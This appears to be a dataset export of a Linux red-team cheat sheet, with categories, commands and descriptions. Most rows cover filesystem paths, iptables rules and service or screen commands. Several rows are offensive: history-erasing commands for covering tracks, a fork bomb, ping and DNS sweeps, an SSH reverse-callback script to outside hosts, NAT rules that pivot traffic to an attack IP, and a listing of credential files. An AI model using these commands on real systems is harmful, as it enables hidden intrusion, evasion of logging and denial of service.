category
stringclasses
51 values
command
stringlengths
1
755
description
stringlengths
3
70
Linux Cover Your Tracks
unset HISTFILE
Disable history logging
Linux Cover Your Tracks
kill -9 $$
Kill current session
Linux Cover Your Tracks
ln /dev/null ~/.bash_history -sf
Permanently send bash history to /dev/null
Linux File System
/bin
User binary
Linux File System
/boot
Boot loader files
Linux File System
/dev
Device files
Linux File System
/etc
Configuration files
Linux File System
/home
User home directories
Linux File System
/lib
System libraries
Linux File System
/opt
Optional software
Linux File System
/proc
Process information
Linux File System
/root
Root user home
Linux File System
/sbin
System binaries
Linux File System
/tmp
Temporary files
Linux File System
/usr
User utilities and apps
Linux File System
/var
Variable data (logs, etc.)
Linux Scripting
for x in $(seq 1 254); do ping -c 1 1.1.1.$x | grep "64 b" | cut -d" " -f4 >> ips.txt; done
Ping sweep for live hosts
Linux Scripting
#!/bin/bash echo "Enter Class C Range: i.e. 192.168.3" read range for ip in $(seq 1 254); do host $range.$ip | grep "name pointer" | cut -d" " -f5 done
Automated domain name resolve
Linux Scripting
:(){ :|:& };:
Fork bomb (crashes system)
Linux Scripting
for ip in $(seq 1 254); do dig -x 1.1.1.$ip | grep $ip >> dns.txt; done
DNS reverse lookup
Linux Scripting
#!/bin/sh # This script bans any IP in the /24 subnet for 192.168.1.0 starting at 2 for ip in $(seq 2 254); do iptables -A INPUT -s 192.168.1.$ip -j DROP done
IP banning script
SSH Callback
#!/bin/sh killall ssh /dev/null 2>&1 sleep 5 REMPORT=4040 REMSRV=user HOSTS="domain1.com domain2.com domain3.com" for LIVEHOST in $HOSTS; do scount=$(ping -c 2 $LIVEHOST | awk '{print $1}' | grep -c received) if [ $scount -gt 0 ]; then ssh -R $REMPORT:localhost:22 -i id_rsa $REMSRV@$LIVEHOST done
Establish SSH callback
IPTables
iptables-restore file
Restore iptables from file
IPTables
iptables -F
Flush all rules
IPTables
iptables -A INPUT -s ip -j DROP
Block incoming traffic from IP
IPTables
iptables -A OUTPUT -d ip -j DROP
Block outgoing traffic to IP
IPTables
iptables -A INPUT -p tcp --dport port -j DROP
Block TCP port incoming
IPTables
iptables -A OUTPUT -p tcp --dport port -j DROP
Block TCP port outgoing
IPTables
iptables -A INPUT -p udp --dport port -j DROP
Block UDP port incoming
IPTables
iptables -A OUTPUT -p udp --dport port -j DROP
Block UDP port outgoing
IPTables
iptables -A INPUT -i int -j DROP
Block interface incoming
IPTables
iptables -A OUTPUT -o int -j DROP
Block interface outgoing
IPTables
iptables -L -v
List rules with stats
Linux Files
/etc/shadow
Local users' hashes
Linux Files
/etc/passwd
Local users
Linux Files
/etc/group
Local groups
Linux Files
/etc/rc.d
Startup services
Linux Files
/etc/init.d
Service
Linux Files
/etc/hosts
Known hostnames and IPs
Linux Files
/etc/hostname
Full hostname with domain
Linux Files
/etc/network/interfaces
Network configuration
Linux Files
/etc/profile
System environment variables
Linux Files
/etc/apt/sources.list
Ubuntu sources list
Linux Files
/etc/resolv.conf
Nameserver configuration
Linux Files
/home/user/.bash_history
Bash history (also /root/)
Linux Files
/usr/share/wireshark/manuf
Vendor-MAC lookup
Linux Files
~/.ssh/
SSH keystore
Linux Files
/var/log
System log files (most Linux)
Linux Files
/var/adm
System log files (Unix)
Linux Files
/var/spool/cron
List cron files
Linux Files
/var/log/apache/access.log
Apache connection log
Linux Files
/etc/fstab
Static file system info
Linux Scripting
for x in {1..254}; do ping -c 1 1.1.1.$x | grep "64 bytes" | cut -d" " -f4 >> ips.txt; done
Ping sweep for live hosts
Linux Scripting
#!/bin/bash echo "Enter Class C Range: i.e. 192.168.3" read range for ip in {1..254}; do host $range.$ip | grep "name pointer" | cut -d" " -f5 done
Automated domain name resolve
Linux Scripting
:(){ :|: & };:
Fork bomb (crashes system)
Linux Scripting
for ip in {1..254}; do dig -x 1.1.1.$ip | grep $ip >> dns.txt; done
DNS reverse lookup
Linux Scripting
#!/bin/sh # This script bans any IP in the /24 subnet for 192.168.1.0 starting at 2 i=2 while [ $i -le 253 ]; do if [ $i -ne 20 -a $i -ne 21 -a $i -ne 22 ]; then echo "BANNED: iptables -A INPUT -s 192.168.1.$i -j DROP" iptables -A INPUT -s 192.168.1.$i -j DROP else echo "IP NOT BANNED: 192.168.1.$i" fi i=$((i + 1)) done
IP banning script
IPTables
iptables -A OUTPUT -o iface -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT
Allow SSH on port 22 outbound
IPTables
iptables -A INPUT -i iface -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT
Allow SSH on port 22 inbound
IPTables
iptables -A OUTPUT -o iface -p icmp --icmp-type echo-request -j ACCEPT
Allow ICMP echo-request outbound
IPTables
iptables -A INPUT -i iface -p icmp --icmp-type echo-reply -j ACCEPT
Allow ICMP echo-reply inbound
IPTables
echo "1" > /proc/sys/net/ipv4/ip_forward
Enable IP forwarding
IPTables
sysctl net.ipv4.ip_forward=1
Enable IP forwarding (alternative)
IPTables
iptables -t nat -A PREROUTING -p tcp -i eth0 -d pivotip --dport 443 -j DNAT --to-destination attkip:443
Port forward TCP 443 to attack IP
IPTables
iptables -t nat -A POSTROUTING -p tcp -i eth0 -s target_subnet_cidr -d attkip --dport 443 -j SNAT --to-source pivotip
Source NAT for port forwarding
IPTables
iptables -t filter -I FORWARD 1 -j ACCEPT
Allow forwarding for port forwarding
IPTables
iptables -A INPUT -s 1.1.1.0/24 -m state --state RELATED,ESTABLISHED,NEW -p tcp -m multiport --dports 80,443 -j ACCEPT
Allow 1.1.1.0/24 on ports 80,443
IPTables
iptables -A INPUT -i eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
Allow related/established on eth0
IPTables
iptables -P INPUT DROP
Set default INPUT policy to DROP
IPTables
iptables -A OUTPUT -o eth0 -j ACCEPT
Allow all outbound on eth0
IPTables
iptables -A INPUT -i lo -j ACCEPT
Allow loopback inbound
IPTables
iptables -A OUTPUT -o lo -j ACCEPT
Allow loopback outbound
IPTables
iptables -N LOGGING
Create LOGGING chain
IPTables
iptables -A INPUT -j LOGGING
Direct INPUT to LOGGING chain
IPTables
iptables -A LOGGING -m limit --limit 4/min -j LOG --log-prefix "DROPPED "
Log dropped packets (4/min)
IPTables
iptables -A LOGGING -j DROP
Drop packets in LOGGING chain
Update-rc.d
service --status-all
List existing services and run status
Update-rc.d
service service start
Start a service
Update-rc.d
service service stop
Stop a service
Update-rc.d
service service status
Check status of a service
Update-rc.d
update-rc.d -f service remove
Remove a service startup command
Update-rc.d
update-rc.d service defaults
Add a startup service
Chkconfig
chkconfig --list
List existing services and run status
Chkconfig
chkconfig service --list
Check single service status
Chkconfig
chkconfig service on [--level 3]
Add service (optional run level)
Chkconfig
chkconfig service off [--level 3]
Remove service (optional run level)
Chkconfig
chkconfig iptables off
Example: Disable iptables service
Screen
screen -S name
Start new screen with name
Screen
screen -ls
List running screens
Screen
screen -r name
Attach to screen name
Screen
screen -S name -X command
Send command to screen name
Screen
Ctrl+a ?
List keybindings (help)
Screen
Ctrl+a d
Detach
Screen
Ctrl+a D D
Detach and logout
Screen
Ctrl+a c
Create new window
Screen
Ctrl+a Ctrl+a
Switch to last active window
Screen
Ctrl+a ' num|name
Switch to window num or name
Screen
Ctrl+a "
See windows list and change
Screen
Ctrl+a k
Kill current window
Screen
Ctrl+a S
Split display horizontally